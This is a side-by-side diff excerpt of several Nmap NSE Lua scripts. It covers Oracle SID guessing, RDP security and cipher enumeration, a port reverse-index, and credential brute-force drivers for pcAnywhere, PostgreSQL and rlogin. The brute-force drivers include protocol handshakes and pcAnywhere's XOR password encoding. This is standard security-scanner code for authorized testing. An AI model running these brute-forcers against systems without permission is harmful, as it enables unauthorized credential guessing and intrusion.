connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")" connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")"
connect_data = connect_data .. "(PORT=" .. port_no .. ")))" connect_data = connect_data .. "(PORT=" .. port_no .. ")))"
local data = bin.pack(">SSSSSSSSSSICCA", local data = bin.pack(">SSSSSSSSSSICCA",
308, -- Version 308, -- Version
300, -- Version (Compatibility) 300, -- Version (Compatibility)
0, -- Service Options 0, -- Service Options
2048, -- Session Data Unit Size 2048, -- Session Data Unit Size
32767, -- Maximum Transmission Data Unit Size 32767, -- Maximum Transmission Data Unit Size
20376, -- NT Protocol Characteristics 20376, -- NT Protocol Characteristics
0, -- Line Turnaround Value 0, -- Line Turnaround Value
1, -- Value of 1 in Hardware 1, -- Value of 1 in Hardware
connect_data:len(), -- Length of connect data connect_data:len(), -- Length of connect data
34, -- Offset to connect data 34, -- Offset to connect data
0, -- Maximum Receivable Connect Data 0, -- Maximum Receivable Connect Data
1, -- Connect Flags 0 1, -- Connect Flags 0
1, -- Connect Flags 1 1, -- Connect Flags 1
connect_data connect_data
) )
local header = create_tns_header("CONNECT", connect_data:len() ) local header = create_tns_header("CONNECT", connect_data:len() )
return header .. data return header .. data
end end
@@ -113,61 +113,61 @@ end
-- --
local function process_tns_packet( packet ) local function process_tns_packet( packet )
local tnspacket = {} local tnspacket = {}
-- just pull out the bare minimum to be able to match -- just pull out the bare minimum to be able to match
local _ local _
_, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet) _, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet)
return tnspacket return tnspacket
end end
action = function(host, port) action = function(host, port)
local found_sids = {} local found_sids = {}
local socket = nmap.new_socket() local socket = nmap.new_socket()
local catch = function() socket:close() end local catch = function() socket:close() end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local request, response, tns_packet local request, response, tns_packet
local sidfile local sidfile
socket:set_timeout(5000) socket:set_timeout(5000)
-- open the sid file specified by the user or fallback to the default oracle-sids file -- open the sid file specified by the user or fallback to the default oracle-sids file
local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids") local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids")
sidfile = io.open(sidfilename) sidfile = io.open(sidfilename)
if not sidfile then if not sidfile then
return return
end end
-- read sids line-by-line from the sidfile -- read sids line-by-line from the sidfile
for sid in sidfile:lines() do for sid in sidfile:lines() do
-- check for comments -- check for comments
if not sid:match("#!comment:") then if not sid:match("#!comment:") then
try(socket:connect(host, port)) try(socket:connect(host, port))
request = create_connect_packet( host.ip, port.number, sid ) request = create_connect_packet( host.ip, port.number, sid )
try(socket:send(request)) try(socket:send(request))
response = try(socket:receive_bytes(1)) response = try(socket:receive_bytes(1))
tns_packet = process_tns_packet(response) tns_packet = process_tns_packet(response)
-- If we get anything other than REFUSE consider it as a valid SID -- If we get anything other than REFUSE consider it as a valid SID
if tns_packet.Type ~= tns_type.REFUSE then if tns_packet.Type ~= tns_type.REFUSE then
table.insert(found_sids, sid) table.insert(found_sids, sid)
end end
try(socket:close()) try(socket:close())
end end
end end
sidfile:close() sidfile:close()
return stdnse.format_output(true, found_sids) return stdnse.format_output(true, found_sids)
end end

View File

@@ -44,118 +44,118 @@ arg_timeout = (arg_timeout or 10) * 1000
-- implements simple xor based encryption which the server expects -- implements simple xor based encryption which the server expects
local function encrypt(data) local function encrypt(data)
local result = {} local result = {}
local xor_key = 0xab local xor_key = 0xab
local k = 0 local k = 0
if data then if data then
result[1] = bit.bxor(string.byte(data),xor_key) result[1] = bit.bxor(string.byte(data),xor_key)
for i = 2,string.len(data) do for i = 2,string.len(data) do
result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2) result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2)
end end
end end
return string.char(table.unpack(result)) return string.char(table.unpack(result))
end end
local retry = false -- true means we found valid login and need to wait local retry = false -- true means we found valid login and need to wait
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
connect = function( self ) connect = function( self )
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
local response local response
local err local err
local status = false local status = false
stdnse.sleep(2) stdnse.sleep(2)
-- when we hit a valid login pair, server enters some kind of locked state -- when we hit a valid login pair, server enters some kind of locked state
-- so we need to wait for some time before trying next pair -- so we need to wait for some time before trying next pair
-- variable "retry" signifies if we need to wait or this is just not pcAnywhere server -- variable "retry" signifies if we need to wait or this is just not pcAnywhere server
while not status do while not status do
status, err = self.socket:connect(self.host, self.port) status, err = self.socket:connect(self.host, self.port)
self.socket:set_timeout(arg_timeout) self.socket:set_timeout(arg_timeout)
if(not(status)) then if(not(status)) then
return false, brute.Error:new( "Couldn't connect to host: " .. err ) return false, brute.Error:new( "Couldn't connect to host: " .. err )
end end
status, err = self.socket:send(bin.pack("H","00000000")) --initial hello status, err = self.socket:send(bin.pack("H","00000000")) --initial hello
status, response = self.socket:receive_bytes(0) status, response = self.socket:receive_bytes(0)
if not status and not retry then if not status and not retry then
break break
end end
stdnse.print_debug("in a loop") stdnse.print_debug("in a loop")
stdnse.sleep(2) -- needs relatively big timeout between retries stdnse.sleep(2) -- needs relatively big timeout between retries
end end
if not status or string.find(response,"Please press <Enter>") == nil then if not status or string.find(response,"Please press <Enter>") == nil then
--probably not pcanywhere --probably not pcanywhere
stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME) stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME)
return false, brute.Error:new( "Probably not pcAnywhere." ) return false, brute.Error:new( "Probably not pcAnywhere." )
end end
retry = false retry = false
status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode
status, response = self.socket:receive_bytes(0) status, response = self.socket:receive_bytes(0)
status, err = self.socket:send(bin.pack("H","6f61000900fe0000ffff00000000")) -- auth capabilities I status, err = self.socket:send(bin.pack("H","6f61000900fe0000ffff00000000")) -- auth capabilities I
status, response = self.socket:receive_bytes(0) status, response = self.socket:receive_bytes(0)
status, err = self.socket:send(bin.pack("H","6f620102000000")) -- auth capabilities II status, err = self.socket:send(bin.pack("H","6f620102000000")) -- auth capabilities II
status, response = self.socket:receive_bytes(0) status, response = self.socket:receive_bytes(0)
if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then
stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME) stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME)
return false, brute.Error:new( "Handshake failed." ) return false, brute.Error:new( "Handshake failed." )
end end
return true return true
end, end,
login = function (self, user, pass) login = function (self, user, pass)
local response local response
local err local err
local status local status
stdnse.print_debug( "Trying %s/%s ...", user, pass ) stdnse.print_debug( "Trying %s/%s ...", user, pass )
-- send username and password -- send username and password
-- both are prefixed with 0x06, size and are encrypted -- both are prefixed with 0x06, size and are encrypted
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(user)) .. encrypt(user) ) -- send username status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(user)) .. encrypt(user) ) -- send username
status, response = self.socket:receive_bytes(0) status, response = self.socket:receive_bytes(0)
if not status or string.find(response,"Enter password") == nil then if not status or string.find(response,"Enter password") == nil then
stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME) stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME)
return false, brute.Error:new( "Sending username failed." ) return false, brute.Error:new( "Sending username failed." )
end end
-- send password -- send password
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password
status, response = self.socket:receive_bytes(0) status, response = self.socket:receive_bytes(0)
if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then
stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME) stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME)
return false, brute.Error:new( "Incorrect username or password." ) return false, brute.Error:new( "Incorrect username or password." )
end end
if status then if status then
retry = true -- now the server is in "locked mode", we need to retry next connection a few times retry = true -- now the server is in "locked mode", we need to retry next connection a few times
return true, brute.Account:new( user, pass, creds.State.VALID) return true, brute.Account:new( user, pass, creds.State.VALID)
end end
return false,brute.Error:new( "Incorrect password" ) return false,brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.socket:close() self.socket:close()
return true return true
end end
} }
action = function( host, port ) action = function( host, port )
local status, result local status, result
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.max_threads = 1 -- pcAnywhere supports only one login at a time engine.max_threads = 1 -- pcAnywhere supports only one login at a time
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -53,113 +53,113 @@ portrule = shortport.port_or_service(5432, "postgresql")
-- @param ssl boolean, if true connect using SSL -- @param ssl boolean, if true connect using SSL
-- @return socket connected to server -- @return socket connected to server
local function connectSocket(host, port, ssl) local function connectSocket(host, port, ssl)
local socket = nmap.new_socket() local socket = nmap.new_socket()
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(5000) socket:set_timeout(5000)
socket:connect(host, port) socket:connect(host, port)
-- let's be responsible and avoid sending communication in the clear -- let's be responsible and avoid sending communication in the clear
if ( ssl ) then if ( ssl ) then
local status = pgsql.requestSSL(socket) local status = pgsql.requestSSL(socket)
if ( status ) then if ( status ) then
socket:reconnect_ssl() socket:reconnect_ssl()
end end
end end
return socket return socket
end end
action = function( host, port ) action = function( host, port )
local status, response, ssl_enable, output local status, response, ssl_enable, output
local result, response, status, nossl = {}, nil, nil, false local result, response, status, nossl = {}, nil, nil, false
local valid_accounts = {} local valid_accounts = {}
local pg local pg
if ( nmap.registry.args['pgsql.version'] ) then if ( nmap.registry.args['pgsql.version'] ) then
if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then
pg = pgsql.v2 pg = pgsql.v2
elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then
pg = pgsql.v3 pg = pgsql.v3
else else
stdnse.print_debug("pgsql-brute: Unsupported version %s", nmap.registry.args['pgsql.version']) stdnse.print_debug("pgsql-brute: Unsupported version %s", nmap.registry.args['pgsql.version'])
return return
end end
else else
pg = pgsql.detectVersion(host, port ) pg = pgsql.detectVersion(host, port )
end end
local usernames, passwords local usernames, passwords
status, usernames = unpwdb.usernames() status, usernames = unpwdb.usernames()
if ( not(status) ) then return end if ( not(status) ) then return end
status, passwords = unpwdb.passwords() status, passwords = unpwdb.passwords()
if ( not(status) ) then return end if ( not(status) ) then return end
-- If the user explicitly does not disable SSL, enforce it -- If the user explicitly does not disable SSL, enforce it
if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or
( nmap.registry.args['pgsql.nossl'] == '1' ) ) then ( nmap.registry.args['pgsql.nossl'] == '1' ) ) then
nossl = true nossl = true
end end
for username in usernames do for username in usernames do
ssl_enable = not(nossl) ssl_enable = not(nossl)
for password in passwords do for password in passwords do
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) ) stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
local socket = connectSocket( host, port, ssl_enable ) local socket = connectSocket( host, port, ssl_enable )
status, response = pg.sendStartup(socket, username, username) status, response = pg.sendStartup(socket, username, username)
-- if nossl is enforced by the user, we're done -- if nossl is enforced by the user, we're done
if ( not(status) and nossl ) then if ( not(status) and nossl ) then
break break
end end
-- SSL failed, this can occure due to: -- SSL failed, this can occure due to:
-- 1. The server does not do SSL -- 1. The server does not do SSL
-- 2. SSL was denied on a per host or network level -- 2. SSL was denied on a per host or network level
-- --
-- Attempt SSL connection -- Attempt SSL connection
if ( not(status) ) then if ( not(status) ) then
socket:close() socket:close()
ssl_enable = false ssl_enable = false
socket = connectSocket( host, port, ssl_enable ) socket = connectSocket( host, port, ssl_enable )
status, response = pg.sendStartup(socket, username, username) status, response = pg.sendStartup(socket, username, username)
if (not(status)) then if (not(status)) then
if ( response:match("no pg_hba.conf entry for host") ) then if ( response:match("no pg_hba.conf entry for host") ) then
stdnse.print_debug("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username ) stdnse.print_debug("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username )
break break
else else
stdnse.print_debug("pgsql-brute: sendStartup returned: %s", response ) stdnse.print_debug("pgsql-brute: sendStartup returned: %s", response )
break break
end end
end end
end end
-- Do not attempt to authenticate if authentication type is trusted -- Do not attempt to authenticate if authentication type is trusted
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
status, response = pg.loginRequest( socket, response, username, password, response.salt) status, response = pg.loginRequest( socket, response, username, password, response.salt)
end end
if status then if status then
-- Add credentials for other pgsql scripts to use -- Add credentials for other pgsql scripts to use
if nmap.registry.pgsqlusers == nil then if nmap.registry.pgsqlusers == nil then
nmap.registry.pgsqlusers = {} nmap.registry.pgsqlusers = {}
end end
nmap.registry.pgsqlusers[username]=password nmap.registry.pgsqlusers[username]=password
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) ) table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
else else
table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) ) table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) )
end end
break break
end end
socket:close() socket:close()
end end
passwords("reset") passwords("reset")
end end
output = stdnse.format_output(true, valid_accounts) output = stdnse.format_output(true, valid_accounts)
return output return output
end end

View File

@@ -41,123 +41,123 @@ categories = {"safe", "discovery"}
portrule = shortport.port_or_service(3389, "ms-wbt-server") portrule = shortport.port_or_service(3389, "ms-wbt-server")
local function enum_protocols(host, port) local function enum_protocols(host, port)
local PROTOCOLS = { local PROTOCOLS = {
["Native RDP"] = 0, ["Native RDP"] = 0,
["SSL"] = 1, ["SSL"] = 1,
["CredSSP"] = 3 ["CredSSP"] = 3
} }
local ERRORS = { local ERRORS = {
[1] = "SSL_REQUIRED_BY_SERVER", [1] = "SSL_REQUIRED_BY_SERVER",
[2] = "SSL_NOT_ALLOWED_BY_SERVER", [2] = "SSL_NOT_ALLOWED_BY_SERVER",
[3] = "SSL_CERT_NOT_ON_SERVER", [3] = "SSL_CERT_NOT_ON_SERVER",
[4] = "INCONSISTENT_FLAGS", [4] = "INCONSISTENT_FLAGS",
[5] = "HYBRID_REQUIRED_BY_SERVER" [5] = "HYBRID_REQUIRED_BY_SERVER"
} }
local res_proto = { name = "Security layer" } local res_proto = { name = "Security layer" }
for k, v in pairs(PROTOCOLS) do for k, v in pairs(PROTOCOLS) do
local comm = rdp.Comm:new(host, port) local comm = rdp.Comm:new(host, port)
if ( not(comm:connect()) ) then if ( not(comm:connect()) ) then
return false, "ERROR: Failed to connect to server" return false, "ERROR: Failed to connect to server"
end end
local cr = rdp.Request.ConnectionRequest:new(v) local cr = rdp.Request.ConnectionRequest:new(v)
local status, response = comm:exch(cr) local status, response = comm:exch(cr)
comm:close() comm:close()
if ( not(status) ) then if ( not(status) ) then
return false, response return false, response
end end
local pos, success = bin.unpack("C", response.itut.data) local pos, success = bin.unpack("C", response.itut.data)
if ( success == 2 ) then if ( success == 2 ) then
table.insert(res_proto, ("%s: SUCCESS"):format(k)) table.insert(res_proto, ("%s: SUCCESS"):format(k))
elseif ( nmap.debugging() > 0 ) then elseif ( nmap.debugging() > 0 ) then
local pos, err = bin.unpack("C", response.itut.data, 5) local pos, err = bin.unpack("C", response.itut.data, 5)
if ( err > 0 ) then if ( err > 0 ) then
table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown")) table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown"))
else else
table.insert(res_proto, ("%s: FAILED"):format(k)) table.insert(res_proto, ("%s: FAILED"):format(k))
end end
end end
end end
table.sort(res_proto) table.sort(res_proto)
return true, res_proto return true, res_proto
end end
local function enum_ciphers(host, port) local function enum_ciphers(host, port)
local CIPHERS = { local CIPHERS = {
{ ["40-bit RC4"] = 1 }, { ["40-bit RC4"] = 1 },
{ ["56-bit RC4"] = 8 }, { ["56-bit RC4"] = 8 },
{ ["128-bit RC4"] = 2 }, { ["128-bit RC4"] = 2 },
{ ["FIPS 140-1"] = 16 } { ["FIPS 140-1"] = 16 }
} }
local ENC_LEVELS = { local ENC_LEVELS = {
[0] = "None", [0] = "None",
[1] = "Low", [1] = "Low",
[2] = "Client Compatible", [2] = "Client Compatible",
[3] = "High", [3] = "High",
[4] = "FIPS Compliant", [4] = "FIPS Compliant",
} }
local res_ciphers = {} local res_ciphers = {}
local function get_ordered_ciphers() local function get_ordered_ciphers()
local i = 0 local i = 0
return function() return function()
i = i + 1 i = i + 1
if ( not(CIPHERS[i]) ) then return end if ( not(CIPHERS[i]) ) then return end
for k,v in pairs(CIPHERS[i]) do for k,v in pairs(CIPHERS[i]) do
return k, v return k, v
end end
end end
end end
for k, v in get_ordered_ciphers() do for k, v in get_ordered_ciphers() do
local comm = rdp.Comm:new(host, port) local comm = rdp.Comm:new(host, port)
if ( not(comm:connect()) ) then if ( not(comm:connect()) ) then
return false, "ERROR: Failed to connect to server" return false, "ERROR: Failed to connect to server"
end end
local cr = rdp.Request.ConnectionRequest:new() local cr = rdp.Request.ConnectionRequest:new()
local status, response = comm:exch(cr) local status, response = comm:exch(cr)
if ( not(status) ) then if ( not(status) ) then
break break
end end
local msc = rdp.Request.MCSConnectInitial:new(v) local msc = rdp.Request.MCSConnectInitial:new(v)
local status, response = comm:exch(msc) local status, response = comm:exch(msc)
comm:close() comm:close()
if ( status ) then if ( status ) then
local pos, enc_level = bin.unpack("C", response.itut.data, 95 + 8) local pos, enc_level = bin.unpack("C", response.itut.data, 95 + 8)
local pos, enc_cipher= bin.unpack("C", response.itut.data, 95 + 4) local pos, enc_cipher= bin.unpack("C", response.itut.data, 95 + 4)
if ( enc_cipher == v ) then if ( enc_cipher == v ) then
table.insert(res_ciphers, ("%s: SUCCESS"):format(k)) table.insert(res_ciphers, ("%s: SUCCESS"):format(k))
end end
res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[enc_level] or "Unknown") res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[enc_level] or "Unknown")
elseif ( nmap.debugging() > 0 ) then elseif ( nmap.debugging() > 0 ) then
table.insert(res_ciphers, ("%s: FAILURE"):format(k)) table.insert(res_ciphers, ("%s: FAILURE"):format(k))
end end
end end
return true, res_ciphers return true, res_ciphers
end end
action = function(host, port) action = function(host, port)
local result = {} local result = {}
local status, res_proto = enum_protocols(host, port) local status, res_proto = enum_protocols(host, port)
if ( not(status) ) then if ( not(status) ) then
return res_proto return res_proto
end end
local status, res_ciphers = enum_ciphers(host, port) local status, res_ciphers = enum_ciphers(host, port)
if ( not(status) ) then if ( not(status) ) then
return res_ciphers return res_ciphers
end end
table.insert(result, res_proto) table.insert(result, res_proto)
table.insert(result, res_ciphers) table.insert(result, res_ciphers)
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -37,20 +37,20 @@ postrule = function() return true end
hostrule = function() return true end hostrule = function() return true end
hostaction = function(host) hostaction = function(host)
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {} nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
for _, s in ipairs({"open", "open|filtered"}) do for _, s in ipairs({"open", "open|filtered"}) do
for _, p in ipairs({"tcp","udp"}) do for _, p in ipairs({"tcp","udp"}) do
local host, port = host, nil local host, port = host, nil
local db = nmap.registry[SCRIPT_NAME] local db = nmap.registry[SCRIPT_NAME]
while( true ) do while( true ) do
port = nmap.get_ports(host, port, p, s) port = nmap.get_ports(host, port, p, s)
if ( not(port) ) then break end if ( not(port) ) then break end
db[p] = db[p] or {} db[p] = db[p] or {}
db[p][port.number] = db[p][port.number] or {} db[p][port.number] = db[p][port.number] or {}
table.insert(db[p][port.number], { ip = host.ip, port = port, proto = p, state = s } ) table.insert(db[p][port.number], { ip = host.ip, port = port, proto = p, state = s } )
end end
end end
end end
end end
-- --
@@ -71,30 +71,30 @@ end
-- | 192.168.0.60 -- | 192.168.0.60
-- |_ 192.168.0.70 -- |_ 192.168.0.70
local function createVerticalResults(db) local function createVerticalResults(db)
local results = {} local results = {}
for proto, ports in pairs(db) do for proto, ports in pairs(db) do
for port, entries in pairs(ports) do for port, entries in pairs(ports) do
local result_entries = {} local result_entries = {}
for _, entry in ipairs(entries) do for _, entry in ipairs(entries) do
table.insert(result_entries, entry.ip) table.insert(result_entries, entry.ip)
end end
table.sort(result_entries) table.sort(result_entries)
result_entries.name = ("%d/%s"):format(port, proto) result_entries.name = ("%d/%s"):format(port, proto)
table.insert(results, result_entries) table.insert(results, result_entries)
table.sort(results, table.sort(results,
function(a,b) function(a,b)
local a_port, a_proto = a.name:match("^(%d+)/(%w*)") local a_port, a_proto = a.name:match("^(%d+)/(%w*)")
local b_port, b_proto = b.name:match("^(%d+)/(%w*)") local b_port, b_proto = b.name:match("^(%d+)/(%w*)")
if ( a_proto == b_proto ) then if ( a_proto == b_proto ) then
return ( tonumber(a_port) ) < ( tonumber(b_port) ) return ( tonumber(a_port) ) < ( tonumber(b_port) )
else else
return a_proto < b_proto return a_proto < b_proto
end end
end end
) )
end end
end end
return results return results
end end
-- --
@@ -107,48 +107,48 @@ end
-- | udp/53: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1 -- | udp/53: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1
-- |_ udp/5353: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1 -- |_ udp/5353: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1
local function createHorizontalResults(db) local function createHorizontalResults(db)
local results = {} local results = {}
for proto, ports in pairs(db) do for proto, ports in pairs(db) do
for port, entries in pairs(ports) do for port, entries in pairs(ports) do
local result_entries = {} local result_entries = {}
for _, entry in ipairs(entries) do for _, entry in ipairs(entries) do
table.insert(result_entries, entry.ip) table.insert(result_entries, entry.ip)
end end
local ips = stdnse.strjoin(", ", result_entries) local ips = stdnse.strjoin(", ", result_entries)
local str = ("%d/%s: %s"):format(port, proto, ips) local str = ("%d/%s: %s"):format(port, proto, ips)
table.insert(results, str) table.insert(results, str)
table.sort(results, table.sort(results,
function(a,b) function(a,b)
local a_port, a_proto = a:match("^(%d+)/(%w*):") local a_port, a_proto = a:match("^(%d+)/(%w*):")
local b_port, b_proto = b:match("^(%d+)/(%w*):") local b_port, b_proto = b:match("^(%d+)/(%w*):")
if ( a_proto == b_proto ) then if ( a_proto == b_proto ) then
return ( tonumber(a_port) ) < ( tonumber(b_port) ) return ( tonumber(a_port) ) < ( tonumber(b_port) )
else else
return a_proto < b_proto return a_proto < b_proto
end end
end end
) )
end end
end end
return results return results
end end
postaction = function() postaction = function()
local db = nmap.registry[SCRIPT_NAME] local db = nmap.registry[SCRIPT_NAME]
if ( db == nil ) then if ( db == nil ) then
return false return false
end end
local results local results
local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal" local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal"
if ( mode == 'horizontal' ) then if ( mode == 'horizontal' ) then
results = createHorizontalResults(db) results = createHorizontalResults(db)
else else
results = createVerticalResults(db) results = createVerticalResults(db)
end end
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end
local Actions = { local Actions = {

View File

@@ -37,105 +37,105 @@ portrule = shortport.port_or_service(513, "login", "tcp")
-- The rlogin Driver, check the brute.lua documentation for more details -- The rlogin Driver, check the brute.lua documentation for more details
Driver = { Driver = {
-- creates a new Driver instance -- creates a new Driver instance
-- @param host table as received by the action function -- @param host table as received by the action function
-- @param port table as received by the action function -- @param port table as received by the action function
-- @return o instance of Driver -- @return o instance of Driver
new = function(self, host, port, options) new = function(self, host, port, options)
local o = { host = host, port = port, timeout = options.timeout } local o = { host = host, port = port, timeout = options.timeout }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- connects to the rlogin service -- connects to the rlogin service
-- it sets the source port to a random value between 513 and 1024 -- it sets the source port to a random value between 513 and 1024
connect = function(self) connect = function(self)
local status local status
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
-- apparently wee need a source port below 1024 -- apparently wee need a source port below 1024
-- this approach is not very elegant as it causes address already in -- this approach is not very elegant as it causes address already in
-- use errors when the same src port is hit in a short time frame. -- use errors when the same src port is hit in a short time frame.
-- hopefully the retry count should take care of this as a retry -- hopefully the retry count should take care of this as a retry
-- should choose a new random port as source. -- should choose a new random port as source.
local srcport = math.random(513, 1024) local srcport = math.random(513, 1024)
self.socket:bind(nil, srcport) self.socket:bind(nil, srcport)
self.socket:set_timeout(self.timeout) self.socket:set_timeout(self.timeout)
local err local err
status, err = self.socket:connect(self.host, self.port) status, err = self.socket:connect(self.host, self.port)
if ( status ) then if ( status ) then
local lport, _ local lport, _
status, _, lport = self.socket:get_info() status, _, lport = self.socket:get_info()
if (not(status) ) then if (not(status) ) then
return false, "failed to retrieve socket status" return false, "failed to retrieve socket status"
end end
else else
self.socket:close() self.socket:close()
end end
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(3, "ERROR: failed to connect to server") stdnse.print_debug(3, "ERROR: failed to connect to server")
end end
return status return status
end, end,
login = function(self, username, password) login = function(self, username, password)
local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username) local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username)
local status, err = self.socket:send(data) local status, err = self.socket:send(data)
status, data = self.socket:receive() status, data = self.socket:receive()
if (not(status)) then if (not(status)) then
local err = brute.Error:new("Failed to read response from server") local err = brute.Error:new("Failed to read response from server")
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
if ( data ~= "\0" ) then if ( data ~= "\0" ) then
stdnse.print_debug(2, "ERROR: Expected null byte") stdnse.print_debug(2, "ERROR: Expected null byte")
local err = brute.Error:new( "Expected null byte" ) local err = brute.Error:new( "Expected null byte" )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
status, data = self.socket:receive() status, data = self.socket:receive()
if (not(status)) then if (not(status)) then
local err = brute.Error:new("Failed to read response from server") local err = brute.Error:new("Failed to read response from server")
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
if ( data ~= "Password: " ) then if ( data ~= "Password: " ) then
stdnse.print_debug(2, "ERROR: Expected password prompt") stdnse.print_debug(2, "ERROR: Expected password prompt")
local err = brute.Error:new( "Expected password prompt" ) local err = brute.Error:new( "Expected password prompt" )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
status, err = self.socket:send(password .. "\r") status, err = self.socket:send(password .. "\r")
status, data = self.socket:receive() status, data = self.socket:receive()
if (not(status)) then if (not(status)) then
local err = brute.Error:new("Failed to read response from server") local err = brute.Error:new("Failed to read response from server")
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
status, data = self.socket:receive() status, data = self.socket:receive()
if (not(status)) then if (not(status)) then
local err = brute.Error:new("Failed to read response from server") local err = brute.Error:new("Failed to read response from server")
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end end
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end, end,
disconnect = function(self) disconnect = function(self)
return self.socket:close() return self.socket:close()
end, end,
} }
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
@@ -143,16 +143,16 @@ arg_timeout = (arg_timeout or 10) * 1000
action = function(host, port) action = function(host, port)
if ( not(nmap.is_privileged()) ) then if ( not(nmap.is_privileged()) ) then
return "\n ERROR: rlogin-brute needs Nmap to be run in privileged mode" return "\n ERROR: rlogin-brute needs Nmap to be run in privileged mode"
end end
local options = { local options = {
timeout = arg_timeout timeout = arg_timeout
} }
local engine = brute.Engine:new(Driver, host, port, options) local engine = brute.Engine:new(Driver, host, port, options)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local status, result = engine:start() local status, result = engine:start()
return result return result
end end

View File

@@ -44,17 +44,17 @@ portrule = shortport.port_or_service(554, "rtsp", "tcp", "open")
-- @param filename string containing the name of the file to read from -- @param filename string containing the name of the file to read from
-- @return url string containing the relative RTSP url -- @return url string containing the relative RTSP url
